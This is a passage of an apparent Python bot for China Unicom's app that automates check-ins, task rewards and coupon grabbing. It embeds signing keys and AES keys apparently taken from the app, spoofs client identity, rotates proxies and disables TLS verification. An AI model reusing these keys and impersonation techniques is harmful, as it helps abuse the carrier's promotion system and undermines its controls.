**智能冷却**:阅读/爱听均关闭时自动跳过120秒冷却等待。 +- 🗑️ **移除失效活动**:删除已下架的云盘春节拼图活动代码(约565行)。 +- 🔧 **修复模拟阅读**:补齐 addReadTime 缺失的用户参数,增强嵌套响应解析。 +- 🔧 **修复安全管家**:getTicketByNative_sec 加入代理故障转移,避免代理失效时跳过全部任务。 +- ⏱️ **阅读冷却等待**:阅读专区与爱听任务间增加120秒间隔,适配联通2分钟阅读冷却限制。 + +配置说明: +1. 账号变量 (chinaUnicomCookie): + 赋值方式有三种: + a. 填账号密码 (自动获取Token - 推荐): + export chinaUnicomCookie="18600000000#123456" + b. 填Token#AppId (免密模式 - 推荐): + export chinaUnicomCookie="a3e4c1ff2xxxxxxxxx#912d30xxxxxx" + c. 仅填Token (旧模式): + export chinaUnicomCookie="a3e4c1ff2xxxxxxxxx" + (多账号用 & 或 换行 隔开) + +2. 代理设置 (可选): + export UNICOM_PROXY_API="你的代理提取链接" (支持 JSON/TXT 格式,自动识别) + export UNICOM_PROXY_TYPE="socks5" (可选 http 或 socks5,默认 socks5) + +3. 特殊功能设置: + export UNICOM_GRAB_AMOUNT="5" : (可选) 抢兑面额 (默认5,自动匹配含"5元"或"5话费"的奖品) + export UNICOM_GRAB_URL="https://..." : (可选) 自定义抢兑接口地址 + export UNICOM_TEST_MODE="query" : (可选) 仅查询模式,跳过任务执行只查询资产 + +定时规则建议 (Cron): +0 58 9,17 * * * (抢兑专用: 需 sign_config.run_grab_coupon=True,建议提前2分钟启动,脚本自动精准等待) +0 7,20 * * * (推荐:每天早晚7点/20点各跑一次,覆盖绝大部分签到任务) +""" +import os +import sys +import json +import time +import random +import re +import hashlib +import hmac +import base64 +import logging +import requests +import uuid +import string +import tempfile +from datetime import datetime +try: + sys.stdout.reconfigure(encoding='utf-8') +except: + pass +from urllib.parse import urlparse, parse_qs, urlencode, unquote, quote +from requests.adapters import HTTPAdapter +from requests.packages.urllib3.util.retry import Retry +from Crypto.Cipher import AES, PKCS1_v1_5 +from Crypto.PublicKey import RSA +from Crypto.Util.Padding import pad, unpad +# ======================================== +# 全局配置 (globalConfig) +# true=开启, false=关闭 +# ======================================== +globalConfig = { + # --- 1. 功能总开关 (True=开启, False=关闭) --- + "enable_sign": True, # 首页签到 (🔺总开关, 含签到/任务/抢话费券) + "enable_ttlxj": True, # 天天领现金 + "enable_ltzf": True, # 联通祝福 + "enable_woread": False, # 联通阅读 + "enable_security": True, # 安全管家 + "enable_ltyp": True, # 联通云盘 + "enable_market": True, # 权益超市 (🔺总开关, 必须开启内部功能才能运行) + "enable_aiting": True, # 联通爱听 + "enable_wostore": True, # 沃云手机 + "enable_regional": True, # 区域专区 + + # --- ✅ 签到区内部细分开关 --- + "sign_config": { + "run_grab_coupon": False, # False = 关闭抢话费券 (True=开启抢兑, 需配合 UNICOM_GRAB_AMOUNT 设置面额) + }, + + # --- 🛒 权益超市内部细分开关 (按需修改到这里) --- + "market_config": { + "run_water": True, # False = 关闭浇水 + "run_task": True, # False = 关闭做任务(浏览/分享) + "run_member_center": True, # False = 关闭浏览会员中心得积分 + "run_draw": True, # True = 开启抽奖 + "run_claim": True, # True = 开启自动领奖(建议开启, 不领白不领) + }, + + # --- 2. 设备ID配置 --- + "refresh_device_id": False, # False:使用缓存ID, True:强制刷新 +} +COMMON_CONSTANTS = { + "UA": "Dalvik/2.1.0 (Linux; U; Android 12; Mi 10 Pro MIUI/21.11.3);unicom{version:android@11.0802}", + "MARKET_UA": "Dalvik/2.1.0 (Linux; U; Android 12; Mi 10 Pro MIUI/21.11.3);unicom{version:android@11.0802}", + "MARKET_H5_UA": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36; unicom{version:android@11.0802,desmobile:0};devicetype{deviceBrand:Xiaomi,deviceModel:MI 8}", + "APP_VERSION": "android@11.0802", +} +MARKET_MEMBER_CENTER_PAGE_ID = "s782351687947921408" +MARKET_MEMBER_CENTER_DISTRIBUTE_ID = "D1161369893988319232" +MARKET_MEMBER_CENTER_PARTNERS_ID = "1703" +MARKET_MEMBER_CENTER_CLIENT_TYPE = "marketUnicom" +MARKET_MEMBER_CENTER_TASK_CODE = "s769153426294495232" +XJ_ACTIVITY_MONTHS = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] +XJ_ACTIVITY_YEAR = os.environ.get("XJ_ACTIVITY_YEAR", str(datetime.now().year)) +XJ_ACTIVITY_MONTH = os.environ.get("XJ_ACTIVITY_MONTH", XJ_ACTIVITY_MONTHS[datetime.now().month - 1]) +XJ_ACTIVITY_ID = f"{XJ_ACTIVITY_MONTH}{XJ_ACTIVITY_YEAR}Act" +XJ_MONTHLY_DRAW_ATTEMPT_COUNT = max(int(os.environ.get("UNICOM_ATTEMPT_COUNT", "1") or "1"), 1) +XJ_USER_AGENT = os.environ.get( + "XJ_USER_AGENT", + "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 " + "(KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0701};ltst;OSVersion/16.2" +) +UNICOM_CLOUD_UPLOAD_TIMEOUT = int(os.environ.get("UNICOM_CLOUD_UPLOAD_TIMEOUT", "120") or "120") +UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES = int(os.environ.get("UNICOM_CLOUD_UPLOAD_PROGRESS_BYTES", "6376590") or "6376590") +WOCARE_CONSTANTS = { + "serviceLife": "wocareMBHServiceLife1", + "anotherApiKey": "beea1c7edf7c4989b2d3621c4255132f", + "anotherEncryptionKey": "f4cd4ffeb5554586acf65ba7110534f5", + "minRetries": "1" +} +WOCARE_ACTIVITIES = [ + {"name": "星座配对", "id": 2}, + {"name": "大转盘", "id": 3}, + {"name": "盲盒抽奖", "id": 4} +] +AITING_BASE_URL = "https://pcc.woread.com.cn" +AITING_SIGN_KEY_APPKEY = "7ZxQ9rT3wE5sB2dF" +AITING_SIGN_KEY_API = "woread!@#qwe1234" +AITING_SIGN_KEY_REQUERTID = "46iCw24ewAZbNkK6" +AITING_CLIENT_KEY = "1" +AITING_AES_KEY = "j2K81755sxV12wFx" +AITING_AES_IV = "16-Bytes--String" +WOREAD_KEY = "woreadst^&*12345" +ADDREADTIME_AES_KEY = "UNS#READDAY39COM" +YUNNAN_LIFE_BASE_URL = "https://wsm.wx.yn10010.com" +YUNNAN_LIFE_ACT_ID = "47191519589909" +YUNNAN_LIFE_SIGN_SALT = "ltynsh@sd23kjkgj2mbnfa0" +YUNNAN_LIFE_ACCESS_KEY = "ltynsh" +YUNNAN_LIFE_TO_URL = "https://wsm.wx.yn10010.com/micropage/orderPages/newYear/2025newYearsDay?channelId=1001010" +YUNNAN_LIFE_TASKS = [ + {"taskName": "每日签到", "taskCode": "DAILY_SIGN"}, + {"taskName": "浏览年终大回馈,好礼多多", "taskCode": "BROWSE_5TOWNS"}, +] +GRAB_AMOUNT = os.environ.get("UNICOM_GRAB_AMOUNT", "5") +GRAB_URL = os.environ.get("UNICOM_GRAB_URL", "https://act.10010.com/SigninApp/convert/prizeConvert") +UNICOM_TOKEN_CACHE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "unicom_token_cache.json") +if "UNICOM_PROXY_API" not in os.environ: + os.environ.pop("http_proxy", None) + os.environ.pop("https_proxy", None) + os.environ.pop("HTTP_PROXY", None) + os.environ.pop("HTTPS_PROXY", None) +LOGIN_PUB_KEY = """-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDc+CZK9bBA9IU+gZUOc6FUGu7yO9WpTNB0PzmgFBh96Mg1WrovD1oqZ+eIF4LjvxKXGOdI79JRdve9NPhQo07+uqGQgE4imwNnRx7PFtCRryiIEcUoavuNtuRVoBAm6qdB0SrctgaqGfLgKvZHOnwTjyNqjBUxzMeQlEC2czEMSwIDAQAB +-----END PUBLIC KEY-----""" + +def mask_str(s): + try: + s = str(s) + if len(s) == 11 and s.isdigit(): + return s[:3] + "****" + s[7:] + elif s.startswith("enc_"): + return s + elif len(s) > 11: + return s[:6] + "******" + s[-6:] + return s + except: + return s + + +def safe_int(value, default=0): + try: + return int(str(value).strip()) + except Exception: + return default + +class FailoverSession: + """包装 requests.Session,自动为所有请求添加代理故障转移""" + RETRIABLE_KEYWORDS = ("Max retries exceeded", "timed out", "connection", "SOCKS", "ProxyError", "ConnectionError") + + def __init__(self, session, owner): + self._session = session + self._owner = owner # UserService 实例引用 + + def __getattr__(self, name): + return getattr(self._session, name) + + def _should_failover(self, err_msg): + if not os.environ.get("UNICOM_PROXY_API"): + return False + err_lower = err_msg.lower() + return any(kw.lower() in err_lower for kw in self.RETRIABLE_KEYWORDS) + + def _has_streaming_payload(self, kwargs): + if kwargs.get("files"): + return True + data = kwargs.get("data") + return hasattr(data, "read") + + def request(self, method, url, **kwargs): + try: + return self._session.request(method, url, **kwargs) + except Exception as e: + if self._should_failover(str(e)): + self._owner.log(f"⚠️ [自动故障转移] {url} 请求异常: {e}") + self._owner.failover_proxy() + if self._has_streaming_payload(kwargs): + raise + return self._session.request(method, url, **kwargs) + raise + + def get(self, url, **kwargs): + return self.request("GET", url, **kwargs) + + def post(self, url, **kwargs): + return self.request("POST", url, **kwargs) + +class UserService: + def __init__(self, index, config_str): + self.index = index + self.valid = False + self.notify_logs = [] + raw_session = requests.Session() + import socket + + class SourceAddressAdapter(HTTPAdapter): + + def init_poolmanager(self, connections, maxsize, block=False, **pool_kwargs): + pool_kwargs['source_address'] = ('0.0.0.0', 0) + super(SourceAddressAdapter, self).init_poolmanager(connections, maxsize, block, **pool_kwargs) + + def get_connection(self, url, proxies=None): + return super(SourceAddressAdapter, self).get_connection(url, proxies) + retries = Retry(total=3, backoff_factor=1, status_forcelist=[500, 502, 503, 504]) + adapter = SourceAddressAdapter(max_retries=retries) + raw_session.mount('http://', adapter) + raw_session.mount('https://', adapter) + raw_session.headers.update({ + "User-Agent": COMMON_CONSTANTS["UA"], + "Connection": "keep-alive" + }) + raw_session.verify = False + import urllib3 + urllib3.disable_warnings() + self.session = FailoverSession(raw_session, self) + self.account_mobile = "" + self.mobile = "" + self.account_password = "" + self.token_online = "" + self.token_refresh = "" + self.cookie = "" + self.appId = "" + self.city_info = [] + self.last_read_submission_time = 0 + if globalConfig.get("refresh_device_id", False): + self.uuid = str(uuid.uuid4()).replace('-', '') + else: + self.uuid = os.environ.get("chinaUnicomUuid") or str(uuid.uuid4()).replace('-', '') + self.unicomTokenId = self.random_string(32) + self.tokenId_cookie = "chinaunicom-" + self.random_string(32, string.ascii_uppercase + string.digits) + self.ecs_token = "" + self.rptId = "" + self.init_account(config_str) + + def _parse_proxy_response(self, text): + """解析代理API响应,支持JSON和文本格式,提取ip/port/user/pass""" + text = text.strip() + + def extract(d): + if not d or not d.get('ip') or not d.get('port'): + return None + return { + 'ip': str(d['ip']), + 'port': int(d['port']), + 'user': str(d.get('account') or d.get('user') or ''), + 'pass': str(d.get('password') or d.get('pass') or '') + } + try: + json_start = text.find('{') + json_end = text.rfind('}') + if json_start != -1 and json_end != -1: + data = json.loads(text[json_start:json_end + 1]) + if data.get('ip') and data.get('port'): + return extract(data) + if data.get('data'): + inner = data['data'] + if isinstance(inner, dict) and inner.get('list') and isinstance(inner['list'], list) and len(inner['list']) > 0: + return extract(inner['list'][0]) + if isinstance(inner, list) and len(inner) > 0: + return extract(inner[0]) + if isinstance(inner, dict) and inner.get('ip'): + return extract(inner) + if data.get('result') and isinstance(data['result'], dict) and data['result'].get('ip'): + return extract(data['result']) + except: + pass + m = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[:\s\t]+(\d{1,5})', text) + if m: + return {'ip': m.group(1), 'port': int(m.group(2)), 'user': '', 'pass': ''} + return None + + def configure_proxy(self): + proxy_api = os.environ.get("UNICOM_PROXY_API") + if not proxy_api: + return + proxy_type = os.environ.get("UNICOM_PROXY_TYPE", "socks5").lower() + max_retries = 5 + for attempt in range(1, max_retries + 1): + try: + if attempt > 1: + self.log(f"🔄 [第{attempt}次] 重试获取代理IP ({proxy_type})...") + time.sleep(2) + else: + self.log(f"正在获取代理IP (模式: {proxy_type})...") + res = requests.get(proxy_api, timeout=10) + if res.status_code != 200: + self.log(f"⚠️ 获取代理失败: HTTP {res.status_code}") + continue + proxy_info = self._parse_proxy_response(res.text) + if not proxy_info: + preview = res.text[:100] + "..." if len(res.text) > 100 else res.text + self.log(f"❌ 提取失败: 无法识别代理格式 (内容: {preview})") + continue + ip, port = proxy_info['ip'], proxy_info['port'] + user, pwd = proxy_info['user'], proxy_info['pass'] + if user and pwd: + proxy_url = f"{proxy_type}://{quote(user)}:{quote(pwd)}@{ip}:{port}" + log_msg = f"{proxy_type}://***:***@{ip}:{port}" + else: + proxy_url = f"{proxy_type}://{ip}:{port}" + log_msg = proxy_url + self.log(f"🔍 提取成功: {log_msg}") + test_proxies = {"http": proxy_url, "https": proxy_url} + try: + requests.get("https://www.baidu.com", proxies=test_proxies, timeout=3) + self.session.proxies.update(test_proxies) + self.log("✅ 代理连通性测试通过") + return + except Exception as te: + self.log(f"⚠️ 代理测试失败: {te}") + except Exception as e: + self.log(f"❌ 请求代理API异常: {e}") + self.log(f"🚫 重试{max_retries}次均失败,回退至本地IP") + + def failover_proxy(self): + proxy_api = os.environ.get("UNICOM_PROXY_API") + if not proxy_api: + return False + self.log("⚠️ [故障转移] 检测到网络不稳定,正在检查当前代理是否存活...") + try: + requests.get("https://www.baidu.com", proxies=self.session.proxies, timeout=3) + self.log("✅ [故障转移] 经测试当前IP仍有效,继续复用,暂不提取新IP。") + time.sleep(1) + return True + except Exception as e: + self.log(f"❌ [故障转移] 当前代理已失效 ({e}),准备更换新IP...") + time.sleep(2) + self.configure_proxy() + return True + + def init_account(self, config_str): + parts = config_str.split('#') + if len(parts) >= 2 and len(parts[0]) == 11 and parts[0].isdigit() and len(parts[1]) < 50: + self.account_mobile = parts[0] + self.account_password = parts[1] + else: + self.token_online = parts[0].strip() + if len(self.token_online) == 11 and self.token_online.isdigit(): + self.account_mobile = self.token_online + self.token_online = "" # Reset, allow load_token_from_cache to fill it + self.log(f"识别到纯手机号模式: {mask_str(self.account_mobile)}") + if len(parts) > 1: + self.appId = parts[1].strip() + if len(parts) > 2 and parts[2]: + potential_mobile = parts[2].strip() + if potential_mobile.isdigit() and len(potential_mobile)==11: + self.account_mobile = potential_mobile + self.unicomTokenId = str(uuid.uuid4()).replace('-', '') # simplified + self.tokenId_cookie = "chinaunicom-" + str(uuid.uuid4()).replace('-', '').upper() # simplified + self.cookie_string = f"TOKENID_COOKIE={self.tokenId_cookie}; UNICOM_TOKENID={self.unicomTokenId}; sdkuuid={self.unicomTokenId}" + self.update_session_cookies() + + def update_session_cookies(self): + if self.cookie_string: + cookies = {} + for item in self.cookie_string.split(';'): + if '=' in item: + k, v = item.split('=', 1) + cookies[k.strip()] = v.strip() + self.session.cookies.update(cookies) + extra_cookies = {} + if self.token_online: + extra_cookies['token_online'] = self.token_online + if self.appId: + extra_cookies['appId'] = self.appId + if extra_cookies: + self.session.cookies.update(extra_cookies) + + def log(self, msg, notify=False): + prefix = f"账号[{self.index}]" + full_msg = f"{prefix}{msg}" + log_line = f"[{datetime.now().strftime('%H:%M:%S')}] {full_msg}" + print(log_line) + if notify: + self.notify_logs.append(str(msg)) + + def request_direct(self, method, url, **kwargs): + session = requests.Session() + session.trust_env = False + session.verify = False + try: + return session.request(method, url, **kwargs) + finally: + session.close() + + def rsa_encrypt(self, val): + self.log(f"正在进行 RSA 加密...") + try: + random_str = ''.join(str(random.randint(0, 9)) for _ in range(6)) + text = str(val) + random_str + data = text.encode('utf-8') + key_pem = LOGIN_PUB_KEY.encode() + recipient_key = RSA.import_key(key_pem) + cipher_rsa = PKCS1_v1_5.new(recipient_key) + enc_data = cipher_rsa.encrypt(data) + return base64.b64encode(enc_data).decode('utf-8') + except Exception as e: + self.log(f"RSA加密失败: {str(e)}") + return "" + + def generate_appid(self): + + def rnd(): return str(random.randint(0, 9)) + return (f"{rnd()}f{rnd()}af" + f"{rnd()}{rnd()}ad" + f"{rnd()}912d306b5053abf90c7ebbb695887bc" + f"870ae0706d573c348539c26c5c0a878641fcc0d3e90acb9be1e6ef858a" + f"59af546f3c826988332376b7d18c8ea2398ee3a9c3db947e2471d32a49") + rnd() + rnd() + + def unicom_login(self): + self.log(f"正在使用账号 {mask_str(self.account_mobile)} 进行登录...") + if not self.appId: + self.appId = self.generate_appid() + self.log(f"生成临时 AppId: {self.appId[:15]}...") + timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + try: + payload = { + "version": COMMON_CONSTANTS["APP_VERSION"], + "mobile": self.rsa_encrypt(self.account_mobile), + "reqtime": timestamp, + "deviceModel": "Android", + "netWay": "Wifi", + "isR4": "0", + "password": self.rsa_encrypt(self.account_password), + "appId": self.appId + } + url = "https://m.client.10010.com/mobileService/login.htm" + res = self.session.post(url, data=payload) + result = res.json() + if result.get('code') in ['0', '0000']: + if result.get('token_online'): + self.token_online = result['token_online'] + self.log("✅ 登录接口验证通过") + return True + else: + self.log("❌ 登录响应中未找到 token_online") + else: + self.log(f"❌ 登录失败: {result.get('desc')} (Code: {result.get('code')})") + except Exception as e: + self.log(f"❌ 登录过程异常: {str(e)}") + return False + + def request(self, method, url, **kwargs): + try: + current_cookies = self.session.cookies.get_dict() + if self.cookie_string: + for item in self.cookie_string.split(';'): + if '=' in item: + k, v = item.split('=', 1) + current_cookies[k.strip()] = v.strip() + cookie_header = "; ".join([f"{k}={v}" for k, v in current_cookies.items()]) + if cookie_header: + if 'headers' not in kwargs: + kwargs['headers'] = {} + kwargs['headers']['Cookie'] = cookie_header + timeout = kwargs.get('timeout', 10) + if 'timeout' in kwargs: del kwargs['timeout'] + response = self.session.request(method, url, timeout=timeout, **kwargs) + if response.status_code >= 400: + self.log(f"请求 {url} 返回状态码 {response.status_code}") + return response + except Exception as e: + self.log(f"请求 {url} 异常: {str(e)}") + return None + + def load_token_from_cache(self): + if not self.account_mobile: + return False + if not os.path.exists(UNICOM_TOKEN_CACHE_PATH): + return False + try: + with open(UNICOM_TOKEN_CACHE_PATH, 'r', encoding='utf-8') as f: + cache = json.load(f) + user_cache = cache.get(self.account_mobile) + if user_cache and user_cache.get('token_online'): + if (datetime.now().timestamp() * 1000) - user_cache.get('timestamp', 0) < 12 * 60 * 60 * 1000: + self.token_online = user_cache['token_online'] + self.appId = user_cache.get('appId', self.appId) + self.city_info = user_cache.get('city_info', []) + self.update_session_cookies() + self.log(f"♻️ [缓存复用] 成功加载本地 Token ({user_cache.get('time')})") + return True + except Exception as e: + pass + return False + + def save_token_to_cache(self): + if not self.account_mobile: + return + cache = {} + if os.path.exists(UNICOM_TOKEN_CACHE_PATH): + try: + with open(UNICOM_TOKEN_CACHE_PATH, 'r', encoding='utf-8') as f: + cache = json.load(f) + except: pass + now = datetime.now() + cache[self.account_mobile] = { + "token_online": self.token_online, + "appId": self.appId, + "city_info": getattr(self, 'city_info', []), + "cookieString": "", + "timestamp": int(now.timestamp() * 1000), + "time": now.strftime('%Y-%m-%d %H:%M:%S') + } + try: + with open(UNICOM_TOKEN_CACHE_PATH, 'w', encoding='utf-8') as f: + json.dump(cache, f, indent=2, ensure_ascii=False) + self.log("💾 [缓存保存] Token 已写入本地文件") + except Exception as e: + self.log(f"❌ 保存缓存失败: {str(e)}") + + def get_city_info(self): + try: + url = "https://m.client.10010.com/mobileService/business/get/getCity" + res = self.session.post(url, data={}, timeout=10).json() + if res.get('code') == '200' and res.get('list'): + self.city_info = res.get('list') + return True + return False + except: + return False + + def queryRemain(self): + try: + if not self.ecs_token: + if not self.onLine(): + self.log("❌ 无法获取 ecs_token,跳过查询") + return + self.log("==== 资产查询 ====") + self.log("正在查询套餐余量...") + url = "https://m.client.10010.com/servicequerybusiness/balancenew/accountBalancenew.htm" + headers = { + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + "Cookie": f"ecs_token={self.ecs_token}" + } + res = self.request("get", url, headers=headers) + if not res: return + result = res.json() + if result.get('code') == '0000': + current_balance = "0.00" + real_time_fee = "0.00" + if result.get('curntbalancecust'): + current_balance = str(result['curntbalancecust']) + if result.get('realfeecust'): + real_time_fee = str(result['realfeecust']) + self.log(f"💰 [资产-话费] 当前余额: {current_balance}元, 实时话费: {real_time_fee}元", notify=True) + pkg_list = result.get('realTimeFeeSpecialFlagThree', []) + if pkg_list and isinstance(pkg_list, list): + self.log(f" 📋 [套餐详情]:", notify=True) + for item in pkg_list: + sub_items = item.get('subItems', []) + if sub_items: + for sub in sub_items: + bill = sub.get('bill', {}) + if bill: + name = bill.get('integrateitem', '未知项') + fee = bill.get('realfee', '0.00') + self.log(f" - {name}: {fee}元", notify=True) + else: + msg = result.get('desc') or result.get('msg') or "未知错误" + self.log(f"套餐余量查询失败: {msg}") + except Exception as e: + self.log(f"queryRemain 异常: {str(e)}") + + def onLine(self): + if not self.token_online: + self.log("❌ 缺少 token_online,无法执行 onLine") + return False + try: + url = "https://m.client.10010.com/mobileService/onLine.htm" + data = { + 'isFirstInstall': '1', + 'netWay': 'Wifi', + 'version': 'android@11.0000', + 'token_online': self.token_online, + 'provinceChanel': 'general', + 'deviceModel': 'ALN-AL10', + 'step': 'dingshi', + 'androidId': '291a7deb1d716b5a', + 'reqtime': int(time.time() * 1000) + } + if self.appId: + data['appId'] = self.appId + res = self.request('post', url, data=data) + if not res: return False + result = res.json() + code = result.get('code') + if code == '0' or code == 0: + self.valid = True + desmobile = result.get('desmobile', '') + if len(desmobile) == 11 and desmobile.isdigit(): + self.account_mobile = desmobile + self.mobile = desmobile + elif desmobile.startswith("enc_"): + if not self.account_mobile: + self.log("⚠️ 注意: 服务端返回了加密手机号且未配置本地手机号") + self.log("登录成功") + self.city_info = result.get('list', []) + self.ecs_token = result.get('ecs_token') + return True + else: + self.log(f"登录失败[{code}]: {result.get('msg')}") + return False + except Exception as e: + self.log(f"onLine 异常: {str(e)}") + return False + + def gettaskip(self): + orderId = self.random_string(32).upper() + try: + url = "https://m.client.10010.com/taskcallback/topstories/gettaskip" + data = { + "mobile": self.account_mobile, + "orderId": orderId + } + self.request("post", url, data=data) + except Exception as e: + pass + return orderId + + def sign_getContinuous(self, is_query_only=False): + try: + url = "https://activity.10010.com/sixPalaceGridTurntableLottery/signin/getContinuous" + params = { + "taskId": "", + "channel": "wode", + "imei": self.uuid + } + res = self.request("get", url, params=params) + if not res: return + result = res.json() + code = result.get('code') + if code == "0000": + todayIsSignIn = result.get('data', {}).get('todayIsSignIn', 'n') + self.log(f"签到区今天{'已' if todayIsSignIn == 'y' else '未'}签到", notify=True) + if todayIsSignIn == 'y': + pass + else: + if not is_query_only: + time.sleep(1) + self.sign_daySign() + else: + self.log("签到区: [查询模式] 跳过自动打卡") + else: + self.log(f"签到区查询签到状态失败[{code}]: {result.get('desc', '')}") + except Exception as e: + self.log(f"sign_getContinuous 异常: {str(e)}") + + def sign_daySign(self): + try: + url = "https://activity.10010.com/sixPalaceGridTurntableLottery/signin/daySign" + res = self.request("post", url, data={}) + if not res: return + result = res.json() + code = result.get('code') + if code == "0000": + data = result.get('data', {}) + msg = f"签到区签到成功: [{data.get('statusDesc', '')}]{data.get('redSignMessage', '')}" + self.log(msg) + elif code == "0002" and "已经签到" in result.get('desc', ''): + self.log("签到区签到成功: 今日已完成签到!") + else: + self.log(f"签到区签到失败[{code}]: {result.get('desc', '')}") + except Exception as e: + self.log(f"sign_daySign 异常: {str(e)}") + + def sign_getTelephone(self, is_initial=False, silent=False): + try: + url = "https://act.10010.com/SigninApp/convert/getTelephone" + res = self.request("post", url, data={}) + if not res: return None + result = res.json() + status = result.get('status') + if status == "0000" and result.get('data'): + tel_val = result['data'].get('telephone', 0) + try: + current_amount = float(tel_val) + except: + current_amount = 0.0 + if silent: + return current_amount + if is_initial: + msg = f"签到区-话费红包: 运行前总额 {current_amount:.2f}元" + self.sign_initial_amount = current_amount + else: + if hasattr(self, 'sign_initial_amount'): + increase = current_amount - self.sign_initial_amount + self.log(f"签到区-话费红包: 本次运行增加 {increase:.2f}元", notify=True) + msg = f"签到区-话费红包: 总额 {current_amount:.2f}元" + exp_val = result['data'].get('needexpNumber', 0) + try: + exp_num = float(exp_val) + except: + exp_num = 0.0 + if exp_num > 0: + msg += f",其中 {result['data'].get('needexpNumber', '0')}元 将于 {result['data'].get('month', '')}月底到期" + self.log(msg, notify=not is_initial) + return current_amount + else: + if not silent: + self.log(f"签到区查询话费红包失败[{status}]: {result.get('msg', '')}") + return None + except Exception as e: + if not silent: + self.log(f"sign_getTelephone 异常: {str(e)}") + return None + + def sign_getTaskList(self): + try: + url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/taskList" + headers = {"Referer": "https://img.client.10010.com/"} + for i in range(30): + res = self.request("get", url, params={"type": "2"}, headers=headers, timeout=10) + if not res: return + result = res.json() + code = result.get('code') + if code == "0329" or "火爆" in result.get('desc', ''): + self.log("签到区: 系统繁忙(0329),停止后续尝试") + break + if code != "0000": + self.log(f"签到区-任务中心: 获取任务列表失败[{code}]: {result.get('desc', '')}") + return + tag_list = result.get('data', {}).get('tagList', []) or [] + task_list = result.get('data', {}).get('taskList', []) or [] + all_tasks = task_list + [t for tag in tag_list for t in tag.get('taskDTOList', [])] + all_tasks = [t for t in all_tasks if t] + if not all_tasks: + if i == 0: self.log("签到区-任务中心: 当前无任何任务。") + break + do_task = next((t for t in all_tasks if t.get('taskState') == '1' and t.get('taskType') == '5'), None) + if do_task: + self.log(f"签到区-任务中心: 开始执行任务 [{do_task.get('taskName')}]") + self.sign_doTaskFromList(do_task) + time.sleep(3) + continue + claim_task = next((t for t in all_tasks if t.get('taskState') == '0'), None) + if claim_task: + self.log(f"签到区-任务中心: 发现可领取奖励的任务 [{claim_task.get('taskName')}]") + self.sign_getTaskReward(claim_task.get('id')) + time.sleep(2) + continue + if i == 0: + self.log("签到区-任务中心: 没有可执行或可领取的任务。") + else: + self.log("签到区-任务中心: 所有任务处理完毕。") + break + except Exception as e: + self.log(f"sign_getTaskList 异常: {str(e)}") + + def sign_doTaskFromList(self, task): + try: + if task.get('url') and task['url'] != '1' and task['url'].startswith('http'): + self.request("get", task['url'], headers={"Referer": "https://img.client.10010.com/"}) + self.log(f"签到区-任务中心: 浏览页面 [{task.get('taskName')}]") + time.sleep(random.uniform(5, 7)) + orderId = self.gettaskip() + url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/completeTask" + params = { + "taskId": task.get('id'), + "orderId": orderId, + "systemCode": "QDQD" + } + res = self.request("get", url, params=params) + if not res: return + result = res.json() + code = result.get('code') + if code == "0000": + self.log(f"签到区-任务中心: ✅ 任务 [{task.get('taskName')}] 已完成") + else: + self.log(f"签到区-任务中心: ❌ 任务 [{task.get('taskName')}] 完成失败[{code}]: {result.get('desc', '未知错误')}") + except Exception as e: + self.log(f"sign_doTaskFromList 异常: {str(e)}") + + def sign_getTaskReward(self, task_id): + try: + url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/getTaskReward" + res = self.request("get", url, params={"taskId": task_id}) + if not res: return + result = res.json() + code = result.get('code') + if code == "0000": + data = result.get('data', {}) + if data.get('code') == '0000': + self.log(f"签到区-领取奖励: [{data.get('prizeName', '')}] {data.get('prizeNameRed', '')}") + else: + self.log(f"签到区-领取奖励失败[{data.get('code')}]: {result.get('desc') or data.get('desc')}") + else: + self.log(f"签到区-领取奖励失败[{code}]: {result.get('desc', '')}") + except Exception as e: + self.log(f"sign_getTaskReward 异常: {str(e)}") + + def sign_grabCoupon(self): + sc = globalConfig.get("sign_config", {}) + if not sc.get("run_grab_coupon", False): + return + self.log(f"⚔️ [抢兑阶段] 正在检查目标: {GRAB_AMOUNT}元 话费券...") + candidates = [] + try: + url = "https://act.10010.com/SigninApp/new_convert/prizeList" + headers = {"Origin": "https://img.client.10010.com"} + res = self.request("post", url, headers=headers) + if res: + list_res = res.json() + if list_res.get('status') == "0000": + details = list_res.get('data', {}).get('datails', {}) + tab_items = details.get('tabItems', []) + self.log(f"📋 [调试] 共获取到 {len(tab_items)} 个场次数据") + for tab in tab_items: + products = tab.get('timeLimitQuanListData', []) + round_time_str = tab.get('time', '') + round_date = None + try: + if round_time_str and ":" in round_time_str: + now = datetime.now() + date_str = now.strftime('%Y/%m/%d') + full_time_str = f"{date_str} {round_time_str}" + if len(round_time_str) <= 8: + round_date = datetime.strptime(full_time_str, "%Y/%m/%d %H:%M") + else: + round_date = datetime.strptime(round_time_str, "%Y-%m-%d %H:%M:%S") + except: + pass + for item in products: + p_name = item.get('product_name', '') + if str(GRAB_AMOUNT) in p_name and ("元" in p_name or "话费" in p_name): + self.log(f" ✅ 发现目标: {p_name} (ID: {item.get('product_id')})") + candidates.append({ + "id": item.get('product_id'), + "name": p_name, + "typeCode": item.get('type_code') or '0', + "timeStr": round_time_str, + "startTime": round_date, + "itemData": item + }) + except Exception as e: + self.log(f"❌ 获取奖品列表失败: {str(e)}") + if not candidates: + self.log(f"⚠️ 未在任何场次中匹配到名为 '{GRAB_AMOUNT}元' 的奖品。") + return + now = datetime.now() + best_candidate = None + min_diff = float('inf') + for cand in candidates: + start_time = cand['startTime'] + if not start_time: continue + diff = (start_time - now).total_seconds() + score = 0 + if diff > 0: + score = diff + elif diff > -600: + score = abs(diff) + 10000 + else: + score = abs(diff) + 90000 + if score < min_diff: + min_diff = score + best_candidate = cand + if not best_candidate: + best_candidate = candidates[0] + self.log(f"🎯 